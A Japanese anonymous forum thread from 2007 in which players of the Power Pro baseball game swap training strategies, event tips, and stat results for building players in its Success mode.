最初から肩練をひたすら。たまにミート上げる為とかで守備練。もちろん3連続ボーナス貰う為に1月に同じ練習が基本。体力無かったら趣味で回復。センス×なら除去狙うのもあり。
友沢友情は出来なくなるが別に真帝王行かなくてもいい。
筋力不要になるまでは休憩使っても四天王部屋で肩練を。試合と試験は頑張って打つ。試合負けてやる気下がっても気にしない。
パワー、肩が目標値まで上がったら守備練メイン。
これで出来たのが
3AAAAEC
AH 初球○ 広角打法 流し打ち 内野安打○ 走塁4
初球○と走塁4は試合で、他はポイント。
正直金が厳しいから1年目に少しはバイトして余裕を作った方がいいかもしれん。
とりあえずは初期パラ高めが出やすいのと四天王試験の簡単さを考慮して外野手で試すのをオススメする。江久瀬と矢部弱過ぎ。
>>658 >>631 真帝王センス×ホスト、ただこれだけ。
センス×が出るまであきらめる、出ても8月までにホストorカレンが来なければあきらめる。
カレンは生理的に受け付けないとかいう理由がない限り最高の彼女。
5回のデートで筋力+50、精神+30、敏捷+20、パワー+6、威圧感、逆境○入手。
帝王はしごきもあるし、5回のデートは普通にこなせる範囲。
ちなみにセンス×以外でオールA作ったことない(´・ω・`)
>>664 初詣で恋愛成就のお守りもらえれば四回でもok
野球観戦やマッサージもタダだからいいよね
666 :
659:2007/09/24(月) 18:43:12 ID:X9WEK3KW
>>664俺の理論で出来るはず。実際めっちゃ作ったし。エラーはCとかだけど
>>663 肩練だけしかやってなくてもよっぽど運が悪くなければ普通に真帝王は
いけるはず
真帝王いかなくても四天王維持できるなら通常帝王の方がいいかもしれん。野手なら特に
>>668 それもあるけど四天王コースなら練習機材強化されるのを狙って。
正直どっちがいいのかは分からんのだが…どっちがいいんだ?
今セカンドを四天王でやるつもりが滑ったから真帝王で作った
3AAAACC
AH、内野安打○、初球○
こんな感じになった。友沢、チャンス4くらいくれよ。
いろいろ間違ったりした。でもこれくらいはいけると思う。
>>658が納得いくような選手が作れるのを応援してるよ。
ペナントかリーグかでアレンジチームの成績を出してみたいんですけど、
これって高速試合じゃなくて140試合をすぐに消化できる方法ってありますか?
日程送りすればいいかと思ってたら一試合ずつ高速試合になったので・・・
日程送りするしかない。
とりあえず黙って待て。
>>672 そうですか・・・
ありがとうございます
674 :
名無しさん@お腹いっぱい。:2007/09/24(月) 23:27:02 ID:wj2zTILF
ナックルをオリジナル変化球でスピードを速くして、落差を大きくするにはどの組み合わせがいいん?
ブレーキ
10か12でナックルを変化大きくで改造したら縦にしか落ちなくなったな・・・
ZAPAnetってサイトに帝王大究極理論ってのがあるぜ。
超上級者向きだけど。
オリ変ナックルが下方向にしか変化しなかったのは10まで
11からは問題なくなった
はず
オリ変ナックルは普通に変化する。
MAX155kmの高速ナックル作ったし。
読み込みが悪くなったので本体横にチョップを入れたら、
メモカのチェック画面で止まるようになった。
時々動くが、「野球しようよパワプロ11」すら出なくなった。
ディスク2枚目なのに…orz
しかし、11ってやたらロードが不安定だな。
俺の他にも買い替えた人っていない?
ライジングキャノンはゲームオーバー覚悟で覚えるほどのものなんですか?っていうかジャイロボールとライジングキャノンの相違点はありますか?
お答えお願いします
>>681 それ本体が問題では・・・?
うちのも他シリーズだけど、そういった症状が
メモカチェックで止まったり、その後に止まったり、30分くらいリセットしてた
>>681 市販のレンズクリーナー使え。
>>682 ジャイロボール持ちの投手の真っ直ぐ=ストレート
ライジング持ちの投手の真っ直ぐ=オリジナルストレート
猪狩と、猪狩と同じ球速の投手で比べると分かると思うけど、ライジングはジャイロ付きにも関わらず体感速度が遅い。ジャイロの意味が無いに等しいので正直いらん。そもそも全日本編をやる必要自体(ry
オリジナルストレートは変化球扱いだからストレートに効力を及ぼすジャイロとノビ4の効果が働かない
ジャイロはただの飾りと化し体感速度ダウン
>>682 強さじゃなくてロマンを求めるみたいな?
キャノンは正直強くないが、覚えた達成感と、
ストレートが「ライジングキャノン」と表示されるのにニヤニヤしたり。
強さを求めるんだったらいらん。
ショットはニヤニヤもしないし、最低なストレートだからもっといらん。
ペナントでサクセスオールスターでやる
猪狩が年で苦しくなる
ライジングキャノンを覚えてる俺が新入団
・゚・(つД`)・゚・ 感動
パワ大普通でアバタでてきたんだけど全くオリヘンイベントこない
三回くらい出現してずっと変化練習したのにこない…
なんか条件あるの?
だが猪狩のライジングはこっちが覚えるのより遥かに速い
継承キャラを作ったんだが途中で諦めたキャラばっか出てきて
出てほしいのが出てこない、いらないキャラ消す方法ってあるかな?
>>690 引っ越してもらうしかないんじゃね?
継承作りまくってあぶり出すか
695 :
658:2007/09/25(火) 14:35:31 ID:zoBRtf5I
658ですがレスくれたみなさんありがとうございます
今までパワフル大強豪でやってたけど帝王の方がいいみたいですね…
四天王編だと友沢が相手で(ショートなので…)試験が辛いかもしれないので
新帝王でみんなのアドバイスを参考にしてやってみます( ^ω^)
エリリンから最高のプレゼントを貰うにはいつから付き合わなきゃならないの?
>>696 たしか最初のバレンタインまでだったと思う。
その場合はアクセサリーあげなきゃならんけど。
>>697 ありがとう、見事にハチマキを貰ったよ
ひょっとすると無理に彼女を狙う必要は無いんだろうか…
投手なら絵里かカレンは狙うべき
>>698 @2月に番号入手→2月ドライブデート(高速か峠)→送らずに帰る→3月公園デート
A3月に番号入手→3月ドライブデートで市街地→話題の喫茶店→ここはオレが払っておくよ
のどっちかで3月までに付き合っても本もらえるお
ちなみに付き合える確率は@が70%、Aが50%
1月番号ゲット2月にエリリンに告られるがベストだけどね
>>699 球速も上がるし逃げ球も入る加奈もオススメ。
中継ぎなら回復も覚えられるし。
>>700 補足すると、
1の場合は、公園だと告白イベントが起こる確率が75%(雨が降ると告白できない)
前の月にドライブデートさえしておけば、雨さえ降らなければ100%告白成功する。
2の場合は、市街地でもとろとろ・・・だと評価が足りずに告白しても失敗する。
とりあえず、これは緊急のパターンだから1月夕方までに入手するのがベスト。
あ、間違えた。
1月昼までに番号入手するのがベスト。
みんなありがとう、満田よりエリリンをストーキングした方がいいのかな
クリスマスプレゼントはアクセサリーでいいんだよな?
とりあえず目標は135kmBB総変10以上を目標にして頑張るか
当然だが、クリスマスに評価が高い状態に持っていかないとハチマキやらお守りになるぞ。
自分の部屋でデートできるくらいが目安。
絵里とのドライブデートって、
最後に送っていけばどこに行ってもバレンタインに告白される?
山は大丈夫
安いしおすすめ
投手作るときは、趣味ドライブにして 速球派か変化球派かかならずつける俺。
ムービングついた上に矢部がキャプテンになったし、こいつ消そう〜
と思ったら継承選手からジャイロ伝授。
そして8試合通算1失点で冬、秋2連覇!
これだからパワプロは面白い
709 :
名無しさん@お腹いっぱい。:2007/09/26(水) 01:28:20 ID:Iy+bAQjB
ムービング覚えて、さらにジャイロ覚えるとムービングは忘れるよね?ファミ通はみんなジャイロ付けるんだよな。
>>708 4年9月に奪三振狙いで部屋デートしたら糞クイズ、
正解してセクロスイベントで恋の病、氏ねよ・・・
で10月昼から恋の病、氏ねよマジ・・・
と思ったら奪三振ktkr!!!
と喜んでたら栄光2−0で始まって終了。
1点返し、さらにノーアウト2、3塁から1点くらい取れよ俺・・・orz
これだからパワプロはやめられない
上で肩練習がいいとあるが何で肩練習がいいんだ?
あとこれは野手の話だよな?
>>711 経験点の筋力が打撃練以上、技術が打撃練並、そこに微量の敏捷ポイントが加わる。
守備練みたいに他より怪我率高い訳でもなく、体力消費量も普通だから。
でもあんまりやると、精神が足りなくなったりするからその辺は注意しましょう
守備とか精神いるからね。
敏捷は1しか入らなくね?
715 :
名無しさん@お腹いっぱい。:2007/09/26(水) 11:20:46 ID:0RWNxBO0
>>714 無いよりかはマシだろ。
ようは積み重ねよでしょ。
716 :
名無しさん@お腹いっぱい。:2007/09/26(水) 12:02:37 ID:bBsqnsj7
ALLA作れないやつは帝王で最初三ヶ月ばいとしてあとは一年間語れんだけやってみ。
一年目の終わりには2BBEEEFくらいはいくから
それはない
新帝王までにエラー含めオールD+一個CくらいでまあオールA行くかなーって感じだろ
718 :
名無しさん@お腹いっぱい。:2007/09/26(水) 12:28:33 ID:0RWNxBO0
肩と守備をうまくやればBAFFFも可能。
ようは効率の問題。
なんで肩練理論が出回ったんだろうな
どう考えても筋守中心の方が効率いいのに
>>719 だよな
筋守でやればAAAAAB得能10個以上とかザラなのに
変化球中心ってひょっとして地雷?
>>721 持ってる球種によらない?
俺のスクリュー(遅くしたオリジナル) スロカ パーム
MAX115kmの投手が変化球中心持ってるが三振結構あるよ。
自分が操作する時になったらスローボール放れば良いし。
まぁ、これは異常というか極端というか変な投手だがナ
ていうかあの理論は開幕前提。
決だと明らかにポイントが足りなくせいぜいCBDEEGくらいしかいかない。
よく「可能」「不可能」ね意見の食い違いが起こるのはこれのせい。
決でもエラー回避含むオールAはやりかた次第では作れないことないが
想像以上に開幕の作り安さは決の比じゃない。
724 :
名無しさん@お腹いっぱい。:2007/09/26(水) 16:46:15 ID:dorlVBFt
あおい先生はショタコン
真帝王3年目10月にダイジョーブが来てしまった・・・
恐くて進めない・・・
決定版購入して約1ヶ月。ここや他のサイトを参考にさせてもらって作った最高の選手が
野手:4BABABB得能7
投手:153BB総変10得能6
もう少しポイント計算や練習効率、彼女の有効活用を心がければオールAやAA投手も夢じゃない、
と思いつつ面倒でセンス○×が出るまでやり直したり継承選手つくったりができず、
自分のヘタクソさ故たまに地方で負けてしまったりする。
越えられそうで越えられない壁が自分の中ではっきりしてきた。
その壁を一度越えてコツさえ掴めばオールAも楽勝といえる日がくるのだろうか・・・
orz
いつになったら成功する事やら
>>728 ドンマイ
俺なんかここ20回連続でサイン有ミス('A`)b
今度こそと思っていつも失敗するもんだから成功時のセリフをもう覚えていないよ。
730 :
名無しさん@お腹いっぱい。:2007/09/26(水) 19:11:29 ID:Iy+bAQjB
失敗しても神様ポイント貯まるし次に生かせ。
731 :
名無しさん@お腹いっぱい。:2007/09/26(水) 20:11:37 ID:0RWNxBO0
>>723 たしかに。
自分は勝手に開幕の話を前提にしてた。
確認せず決め付けてすいません。
>>664だが、
練習は完全に肩練中心、真帝王後はベーシックグラブ買って守備or友澤タッグ中心。
第2野球部までに肩練レベルが15くらいで、他が1(精神が2)
とにかく決定版は凡才でオールAはかなりむずかしい。
チンチロで150万たまったがセンス×だった
これはセンス×のまま進めてもいいのかな?
734 :
名無しさん@お腹いっぱい。:2007/09/26(水) 22:14:52 ID:HfcVFmp7
それでいけ
150の前にはセンス×とかただの誤差
彼女と街デートでマッサージ、日本式針マッサージで消せる
または逆指名で消せる
ところで投手か野手か?
サンキュー
ちなみに投手だ。
ピッチャーのセンス×はよくないな
150万あるからって何でもかんでも買うなよ
リストバンドは買っちゃいけないアイテムの一つ
738 :
名無しさん@お腹いっぱい。:2007/09/26(水) 23:06:10 ID:HfcVFmp7
>>737 なんで? 基本的にアイテムはパワリンしか買わないのでわからん
投手でもセンス×はいいけどね。
いきなり135kmコンDとか場合によっては天才以上。
741 :
名無しさん@お腹いっぱい。:2007/09/26(水) 23:52:19 ID:HfcVFmp7
亀だが
リストバンドは練習するたびに筋力+1、体力消費+10%
効率が却って悪くなってしまうのよ
それ、俺も作ったよ。
俺はパームをブレーキ改造した後でキレを良くした。
その動画ほどの山なりじゃないけど、そこそこそれっぽいものになった。
変化が異常なスローカーブは作ってみたいな。
>>742 まずリセットを繰り返して球速を100kmまで落とす。
あとはパームを数回もっと遅くで完成。
球速が遅い投手しか作れない変化球だから、緩急とか全くなくかなり弱い。
てか7回連続で部屋デートのサクセスで「ピコピコ」・・・
今作ってる投手、奪三振覚えなきゃ完成しないっての・・・
748 :
名無しさん@お腹いっぱい。:2007/09/27(木) 07:59:18 ID:wh+QtZBW
>>740センス×135DEシンカー1出てきて一年目の終わりに145BBシンカー4まで育ってこれは俺史上最強の投手なると思って育ててたら
お決まりの科学の犠牲になりました。本当にどうもありがとうございました。
>>748 君だけじゃないぞ。気を取り直してまた作ろう。
750 :
749:2007/09/27(木) 09:46:39 ID:wh+QtZBW
>>749今選手(凡才)作ってて二年目の秋大会で154C(140)B(135)フォーク2でキャプテンにも指名されたのに肩爆弾爆発\(^0^)/
満田先輩と友情タッグしまくりが肩にきてたのか・・・
もう嫌だ\(^0^)/
これネタとかじゃなくて本当に調子のいいときに限って
爆弾or科学の犠牲or紅白戦オワタorジャンケン勝てないが起きるよな。
俺なんか二年くらいやって一度も爆弾爆発したことなかったのに
初めての天才が一年目の冬にボンバー!したときはもう突撃ラブハートだったよ
天才型の爆弾爆発率は凡才型の3倍になっております
159km 左下手投げ コンスタAA
Hスラ・カットボール6、 Dカーブ・スクリュー4
ジャイロ、ノビ 打たれ強さ 安定 重い球 闘志 ピンチ4 対左4
で作ったが、抑えで起用で防御率4点台で大事な所で出しても打たれること多し。
(ペナント4速試合)
泣ける・・・
>>750 イレブンで2年目秋にその数字はかなり満田タッグが決まったんだろうね。
惜しかったけど、また同じような選手ができるさ。頑張ろうぜ!
>>753こんな選手作れるもんなの?俺じゃ絶対できない
>>755 HスラとDカーブの変化量は6と4なのか、それとも両方1なのか。
前者なら100%改造選手。後者ならダイジョーブあり。
俺は超決イレブンの天才型(ダイジョーブ&仙人なし)で、
154kmコンBスタAドロップ6シュート5シンカー3Hスラ1を作ったことがある。
何百人も作ったが、150オーバーのスタAで総変15はこいつだけ。
すべての練習が理想通りにいっても、超決ではこのくらいが限界だと思う。
757 :
名無しさん@お腹いっぱい。:2007/09/27(木) 11:53:57 ID:uFd1Ai4+
変化量が書いて無いHスライダー、Dカーブが1なら可能。
ただこの書き方だと総変化量は20ってわけかな?
天才、阿畑、ハゲ2回、ラブパワー、大会5連覇ぐらいできれば可能かもしれない。
もちろん総変化量20なんでイレブンの変化★5からじゃないと無理かな。
まぁ、チンチロとかあればワカラン。
ただ自分じゃ無理。開幕版だが。
758 :
名無しさん@お腹いっぱい。:2007/09/27(木) 12:30:57 ID:QXZjBzzz
みんなの意見を参考に肩守で作ってる者ですが、
途中で肩の練習器具のレベルが☆1になってしまう…
仕様かな?
733だが紅白で負けた…すけすけゴーグルあるのに…下手すぎだな俺…
ちなみにパワ大普通の継承なしでとりあえず70万ためて再チャレンジしてみた。(こんときリセットしまくりで100キロGG)
完成は148CB総変9ピンチキレリリースのみ…
継承なしとはいえこれはひどすぎる…普通に作った他の選手のほうが強い…
あとチンチロは150ためるまで皆リセットしまくってるの?速球が100未満コンスタ0にまでなったらあきらめたほうがいいかな?
守備時の足の速さって何の値に反映される?
761 :
名無しさん@お腹いっぱい。:2007/09/27(木) 17:29:09 ID:0h+YoRPa
>>759 チンチロ→失敗→セーブ→チンチロってやった?
それだと能力が下がりまくる
一回失敗したならそのままリセットでもデータは消えないぞ
>>760 基本は走力。あと、守備力は初動の早さに関係するはず。
守備職人があれば守備時のみ走力アップ
D川合とかT久慈みたいに足が衰えた守備固め用のベテランのための能力
>>761 >守備力は初動の早さに関係するはず。
守備力は捕球時の送球動作への移行速度に関係するらしい。
高ければ高いほど、受けてから送球までの時間が短い
イレブン投手でセンス○ホストが出たけど、継承機材が守備★だから育成するか悩む…
つーか前回変化球★5でクリアしたのに全然出てこねー!
764 :
名無しさん@お腹いっぱい。:2007/09/27(木) 18:25:36 ID:0h+YoRPa
ぜったいに続けるべき!
変化球★5がでてもどうせジャンケン次第
センス○ホストはやるべき
好みだけど先発作るなら威圧感は狙いたくないな
>>763 とりあえず続けてみるのがいいと思う。
変化☆5あるなしじゃだいぶ違うが、センス○ホストと比較するとわからないし。
でも自分はいつも諦める。
ランナー牽制死するまで牽制しつづけたら非キャプでも西強に負けなくなった。
1試合15分とかかかるけどw
バッドステータスがすんなり治ればセンス○ホストは
凡才変化☆5よりも威力を発揮するが、
その一人の育成だけを見れば得ではあるけど、
そのあとまた☆5まで戻す手間も考えると…
結局どちらをとるかは本人次第になっちゃうな。
俺は諦める。
767 :
名無しさん@お腹いっぱい。:2007/09/27(木) 19:27:48 ID:wh+QtZBW
二年の秋大会で156C(145)B(120)
俺最強の投手になるかも試練
768 :
名無しさん@お腹いっぱい。:2007/09/27(木) 20:18:54 ID:wh+QtZBW
↑だけど出来た
164kmコンBスタA シュート1 SFF1 キレ2 勝ち運 低め○ 尻上がり
DJなしでは頑張った方だと思う。ノビと急速1kmに惑わされて急速選んでしもたorz
ノビ欲しかったー
769 :
763:2007/09/27(木) 20:19:49 ID:KdqcIwgD
秋大会の後に加奈とぶつかって一目惚れ→センス○ホストあぼーん
せめて試合の前に出ろよ…
でもま、凡才変化★5が割と使える能力で完成したから結果オーライw
センス○持ちで2ヵ月目に禿成功でようやく初のオールAが出来た・・・
能力とか初球○しかないけどね!!
>>764 でも気分的には先発のエースにも威圧感をつけたいんだよな…
そしてペナントレース終盤の天王山でストッパーとして登板する訳か。
どうやら君とは話が合いそうだ。
パワ大、右右
152kmコンB164スタA162
スライダー3 Sスライダー3 チェンジアップ5
ピンチ 打たれ 安定 逃げ球 奪三振 牽制 リリース 打球反応
尻上がり 勝ち運 テンポ 人気
弾2FFDDDD
パワ大って阿畑やら強豪維持やら運に左右されると思ってたが、かなり安定してるなあ。
初期能力さえ吟味すれば、150BA総変10リリース○持ちくらいなら安定して作れる。
奪三振追いすぎて体力あるのにデートばっかりして自滅したりするけど。
阿畑は先発投手にムードメーカー付けてくれちゃうから困る
775 :
名無しさん@お腹いっぱい。:2007/09/27(木) 23:44:10 ID:0h+YoRPa
しかし闘志、ピンチ4、重い球、打たれ強さ4
を一人の投手につけてくれたりもする
その誘惑のせいでもっと困るw
>>772 よさそうだなあ…
でもオートでやると毎年1位と2位が10ゲーム近く開くから困る
丁度今のセみたいな混戦を楽しみたい
エースはAAでないと気がすまないのは俺だけだろう
最強チーム目指してるわけでない俺からすれば
BBあれば充分
そりゃAAに越したことはないだろうな
780 :
名無しさん@お腹いっぱい。:2007/09/28(金) 02:12:05 ID:Ds/g9mwR
俺はスタミナだけAあれば満足
コンAは他を犠牲にしなきゃ作れないし、エースでもスタコンBAで十分
782 :
名無しさん@お腹いっぱい。:2007/09/28(金) 09:28:14 ID:Ilcji4Nz
俺はエースは165`AAじゃないと気がすまない。そしてオーバースロー。
セーブリセット繰り返さないと創れないけど。
783 :
名無しさん@お腹いっぱい。:2007/09/28(金) 09:33:46 ID:oL3RpO28
エース155CA創変7
中継ぎ140AD創変13
抑え165BE創変8
くらいが個人的に好き
始めて2日目なんだが、グローブとか買うメリットってある?
785 :
:2007/09/28(金) 13:09:13 ID:YqhL42Tz
いや、必要ないよ
>>784 決定ならある(ベーシック系)
開幕は高いからいらん
イレブンセンス○一回目のパワスポでジャイロゲット三年の秋には147キロCAでこれは過去最高になるとおもったら四年目でしくじって微妙な選手になった…
初めてオールA出来た
帝王凡才禿無外野、弾4ミートA7パワーA149走A14肩A14守A14
送球4走塁2バント○初球○逆境○サヨナラ男、威圧感
俺にはこれが限界、なんだかんだでみんな凄いな
789 :
名無しさん@お腹いっぱい。:2007/09/28(金) 19:26:20 ID:oL3RpO28
いいと思うよ。でも個人的にAH欲しいな〜
てかALLA余裕で作れるから個性的な選手作るのにハマってるw
3EACACとかwなかなか楽しいw
158BB変化1Q.ジャイロの投手だったのに
チームメイトからもやった本読んだらムーピングゲットしちまったぜ/(^.^)\
すごく・・・BBQです・・・
ジャイロ持ち投手作ったけどペナントで打たれまくり。
自分で操作しないとあっても意味ない?
794 :
名無しさん@お腹いっぱい。:2007/09/29(土) 01:12:28 ID:2RO5iQXq
いや、ジャイロ持ちはCPU相手に効果がかなりあったはず
おそらく誤差か、弱いか(身も蓋もないが)だな
変化球にスクリューorシンカーがある
または球速が遅い
どっちかが当てはまるとCPU相手には弱くなるらしい
ジャイロ<<<<<逃げ球
と思いたくなるくらい逃げ球が強く感じる。勿論両方ついてりゃ言うこと無いが。
初ピッチャー完成
帝王左右140BD
Hスライダー4 カーブ2 フォーク2
キレ クイック 安定感 対左打者
うん弱い
799 :
名無しさん@お腹いっぱい。:2007/09/29(土) 14:09:35 ID:HhVHlc2g
強いよ
あと+20キロ コン+30 変化量全て+3 ノビ ジャイロつけたら
わざわざ改行していらないレス付けなくていいよ
>>798 初めてにしては頑張った。だんだん欲が出てくるよ。
803 :
名無しさん@お腹いっぱい。:2007/09/29(土) 15:26:48 ID:z+WLDoHS
俺も真帝王で作った。
3ABABAB
アベレージH、内野安打4盗塁4、チャンスメーカー、送球4
野球仙人、年賀状、センス×、ありがとう♪
野球仙人だと………ッ…!?(ざわ……ざわ……)
久々に真帝王で野手を作った。
右投右打 外野 弾2 A7 D82 A15 A15 A15 A15
AH、盗塁4、走塁4、送球4、チャンスメーカー、初級○、サヨナラ安打
センス○を最大限いかしてみようと、パワーをあえてあげなかった。
でもなんかいまいちな感じ。やはり野手はセンス×だな。
>>803 野球仙人とか1回しか成功したことないわー
806 :
名無しさん@お腹いっぱい。:2007/09/29(土) 16:33:36 ID:z+WLDoHS
そうさ。所詮野球仙人使っても俺にはこれが限界。ポイント割り振り下手、変化球打てない、要領悪い、俺には一緒掛かってもオールAなんざ作れない(泣)
パワプロ最大のロマンは特殊能力を赤でいっぱいにすること
10決でアルベルトの能力見たときは笑ったな
今のパワプロは赤3つつけるのも難解だから困る
赤のつくイベントが少なすぎる
811 :
名無しさん@お腹いっぱい。:2007/09/29(土) 17:29:11 ID:h6WP/c+0
弾4 ミ4 パ140 走B14 肩B14 守B14
ダイジョーブ強化失敗した後でもここまでいけた。
特殊能力ゼロだが。
野球仙人はもっと鬼のような効果にするべき
サクセスで手に入る経験点の差って、開幕と決定じゃどのくらい違うの?
決定が育てづらいって聞くけどそんなに違うものなのかな?
できれば決定買おうと思ってるけどあまり育てづらいなら開幕にしようかと思ってる。
中古で買って来て今日からやてるのだが、えらい変わっているんだな
まったく打てないぜ…
>>813 経験点は知らんが。
超決はコントロールAにするのがキツい。栄光学院シナリオがある、リリース○が楽に取れる。
あとはマイライフで最初からサクセス選手が使える、デフォのペナント回すと巨人が異様に強いとか(確かその年3位くらいなのに)
オリ変でカミソリシュートつくりたい場合、Hシュートかシュートどっち改造かな?後どんな風に改造したらカミソリシュートみたいになる?
>>816 あんなのはまず作れない。
まあシュートをノビ→変化を繰り返せば結構鋭いシュートになるけど。
818 :
名無しさん@お腹いっぱい。:2007/09/29(土) 20:23:22 ID:Z/Q9k2xl
野球仙人成功した帝王投手
157AB(138)シュ3フォ4カ3 ノビ4クイック4ケガ2
サブポジに外野を付けたことには後悔してない。
819 :
名無しさん@お腹いっぱい。:2007/09/29(土) 20:36:53 ID:z+WLDoHS
くそぅ・・みんな強いの作ってるな('∀'●)
ペナントCOP自動でやっても負けないんジャマイカ?
>>815 なるほど。しかし投手だとそんなにキツいのか・・・。
とりあえず開幕買ってみるよ。こだわらなければそんなに差は感じないはずだろうし。
11決のマイライフは結構はまったなそういや
奥居に一番萌えた時期だった・・・・
開幕はペナントでスタミナD以上は連投できない
赤能力をつけようとしたときに限って打撃が控えめになるCPUをなんとかしてほしい
一発病とかをつけさせてくれよ…
一発期待してスロボ投げたら高確率で全然違うとこ振ってくるんだよな
>>824 それでも何故か打ち取れるから困る
普通に投げたら打たれるのに
かといって次からスローボールにしようと決めると次は打たれるんだよな
ブーメランカーブ狙いで球速80まで落として痘痕フラグ起きて
スローカーブ7まで上げたけどオリ変イベント起きず・・・
さてまた作るか
>>828 80km投手はリセットし放題だから、学園祭前にセーブできるから結構楽
でもそれだと経験値もったいなくない?
変化球が減るわけじゃないからいいかな
あと「変化を大きく」でいいよな?
くそぅ、なんだかんだでやっぱミート強いわ11。
明らかに引っ掛けてるはずなのになぜか打球が浮かぶし。
逆に真芯でミート打ちしたらゴロになるときもあるのに。
北極でテニス出来るのか?
833 :
名無しさん@お腹いっぱい。:2007/09/30(日) 01:53:05 ID:r62+It5x
イレブンでかれこれ3時間粘ってるけど、変化球★5がこん。
やたら守備、精神がくる。
狙ってるとしか思えん。矢部くん、サクセスさせてください。
まぁ、変化球★5がきてもただいま帝王マネと5回連続一目ぼれ中。
泣けてきた・・・・・。
あとイレブン凡才からみんなはどこまで伸せる?
自分は163kmコンBスタB総変12が限界なんだが。
てかこれ以上行く気がしない。
イレブンは継承狙ったが159キロジャイロで泣いた記憶が
>>833 >自分は163kmコンBスタB総変12が限界なんだが。
てかこれ以上行く気がしない。
それ以上は行かないと思うよ。
158kmBA総変11、特能8個ですら上手くいったレベルだし。
あと、変化球器材は本当に出ませんw
最高で、やり始めてから40回目にようやく変化球器材登場。
俺160BB総変12が最高。
変化球機材作ってもあまりに出ずに妥協してしまう。
837 :
名無しさん@お腹いっぱい。:2007/09/30(日) 08:30:56 ID:Ekqwt1vZ
>>833俺は160キロBB創変8・・・
個人的にうまくいったと思うレベル(まぁ急速が好きなだけで他ヘボいけど)で164BA創変2・・・
どう考えてもうんこです。
本当にどうもありがとうございました。
838 :
名無しさん@お腹いっぱい。:2007/09/30(日) 08:43:38 ID:kxBMQuo2
皆さんの言う変化球★5ってのは何ですか?教えて下さい。
なんでみんなそんな強い選手を作れるの?
150kmCB総変10が限界だよ…
>>839 俺もそれが最高だな
みんなレベル高すぎ(;^ω^)
たぶん何かが違うんだろな、決定的に…
俺は155AA総変9
禿1なのにこれはないな
843 :
名無しさん@お腹いっぱい。:2007/09/30(日) 13:47:46 ID:Ekqwt1vZ
>>839>>840決定版?
決定版なら昔持ってたけど155BA総変8くらいは作れると思うよ。
ちなみに俺は帝王でやってた。
今は開幕イレブンやってる。で今選手出来たんだけど151AAHシュ1スク2カーブ2スラ2 ノビ等って選手出来た。
開幕イレブンなら満田さんタッグ+機材でこのくらいいくよ。
俺は156qAB総変12が限界。決定版コントロール上げずら杉
ちょっと質問。
いま最後のポイント振り分けなんだけど、球速を156→158にするか、
球速はそのままでスタミナアップ+左打者4にするか迷ってるんだけど・・・
だれかアドバイスお願いします
846 :
名無しさん@お腹いっぱい。:2007/09/30(日) 15:47:12 ID:r62+It5x
自分なら速球一択。
正直目指すタイプとか他の能力との兼ね合いとかによるからどうとも言えん
845だけど結局球速にしました。
158km コン155B スタ122B
オリシュート7 Vスラ4 スロカ2
ピンチ4、ケガ4、ノビ4、キレ4、クイック4、回復4、ジャイロ、
逃げ球、尻上がり、牽制○、打球反応○、闘志、満塁本塁打男、体当た
り、速球中心
1年目5月に禿サイン有り成功、2・3年目合宿前に9:1負けなど。
オレの腕ではここまでかな・・・
GC開幕です
かなりいいんじゃない? しかし、投手が体当たりしちゃダメ!w
さっきセンス○一発目ホストでてきたけど最強に打たれまくりでノビ二がついてしまった…
ところで質問なんだけどホストがでたばあいはさいしょは万田タッグを成立させてからカレンとデートしたほうがいい?
あと投手は左より右投げのほうがセンス○とか初期能力たかいのがでやすいきがするけどどうなんだろか?
さらに質問で禿サイン無しは有りとどうちがうの?
>>851 1.育成法は人に寄るんで何とも言えんが満田タッグは速めに組みたいな。
移動技使うのもクソダルいし
2.センス○や×の可能性は一定。 のはず。 そうだと言ってよ!バーニィ!
んで左投手・打者っつーのは現実野球でも有利でな、当然パワプロでも少し有利。
対左 なんて言葉もあるんだし当然だが、そんなわけで左は能力低めになる
具体的には打者だとミート-1 パワー-10 投手だと球速-5 だっけな。
3.イベントが違うと思ったほうが良い。サインありは成功率低 見返り特大 なしは成功率中 見返り大
投手作ってるみたいだから投手だけ書く。
サインあり→成功率4割弱 球速+3 コンスタ+25 筋力+20 技術+45 変化球+90 精神+35
サインなし→成功率5割弱 球速+2 コンスタ+15 筋力+10 技術+25 変化球+60 精神+25
当然二回目は成功率下がるし、サインありは失敗した時の下がり具合もハンパない。
よくここの奴等は「又科学の犠牲になった」とか言ってるが成功率自体はそんなに低くないんだぜ?
……低くなんか……ないんだぜ……
あと最後に、朝こっ早くから質問詰めすぎwwwwww俺長文必死だなwwwww
853 :
852:2007/10/01(月) 06:08:37 ID:33S82xB5
悪い、大事な事書き忘れてた。
俺は開幕なんで…決定でも同じだと思うが万一違ってても俺は知らんと言うことで。
>>852 おお!朝からサンクス!さっき最後の大会前に禿きてサイン有り→見事失敗www
禿の誘惑にはどうも勝てん…
まあとりあえず教えてくれてありがとう
序盤で博士→成功するも、序盤で能力低いから旨み少ない
終盤で博士→・・・失敗 orz
なぜだ! 神よ!
ペナントやってるんだが、抑えが毎試合登板できないのつらいなこれ・・
>>855 終盤で博士失敗はデフォですw
ペナントはスタミナがE(59以下)なら連投できるよ。Dになっちゃうとダメです。
選手の成長ありにしとくといつの間にか連投不可になってしまう・・・
858 :
名無しさん@お腹いっぱい。:2007/10/02(火) 00:40:11 ID:p8kY9YqF
サクセストップ画面の左右のキャラは以前登場の奴?
初めて天才型出た(パワ大)
それでミートA行かないとか特能1ケタとかもうね
>>859 パワ大ならそんなもん。
正直センス×ホストのほうが強いと思う。
よくホストの名前が挙がるけど何が良いん?
>>861カレンがでるし金もたまるからじゃないかな?
ところで質問なんだけど抑え投手ならどの大学がいいかな?
俺は、高速で大きく曲がるオリ変作りたいから帝王にしてるな
高速で曲がる変化もってる選手は4人しかいないけでねw
866 :
名無しさん@お腹いっぱい。:2007/10/03(水) 10:00:03 ID:soHj6H84
今日のスポーツ新聞に高校生ドラフトの候補者が載ってて、大平成一って選手がいるんだが、出身校が「波佐見」って書いてある。
実在する地名だったとはw
俺の苗字「波佐見」だよ。
サクセスで自分と同じ名前の選手を作ったが、どうも使う気になれない。
>>864 つーかまったく同じじゃないかw
ところどころ文字が変えられてるあたりどっちかがパクったんだと思う
>>867 頼むからじゃんけんでパー出さないでくれよ
>>864 前日にイレブンで抑え作成、理論と全然違う育て方してるあたり、gooの奴がパクったくさいなw
まあ少なくとも文の書き方見るとgooの日記の奴の方が頭悪そうだな
しかし真帝王の野手理論まで同じっすかw
サクセスで最強選手作る以外に楽しみ方って何があるかな?
萌え能力選手作るにも欲しいマイナス能力を付けるの難しくてうまくいかないし。
最強選手作るときに限って悪いイベント付く仕様みたいだしさw
14決定が出るまで11でしのぎたいんだけどね・・・
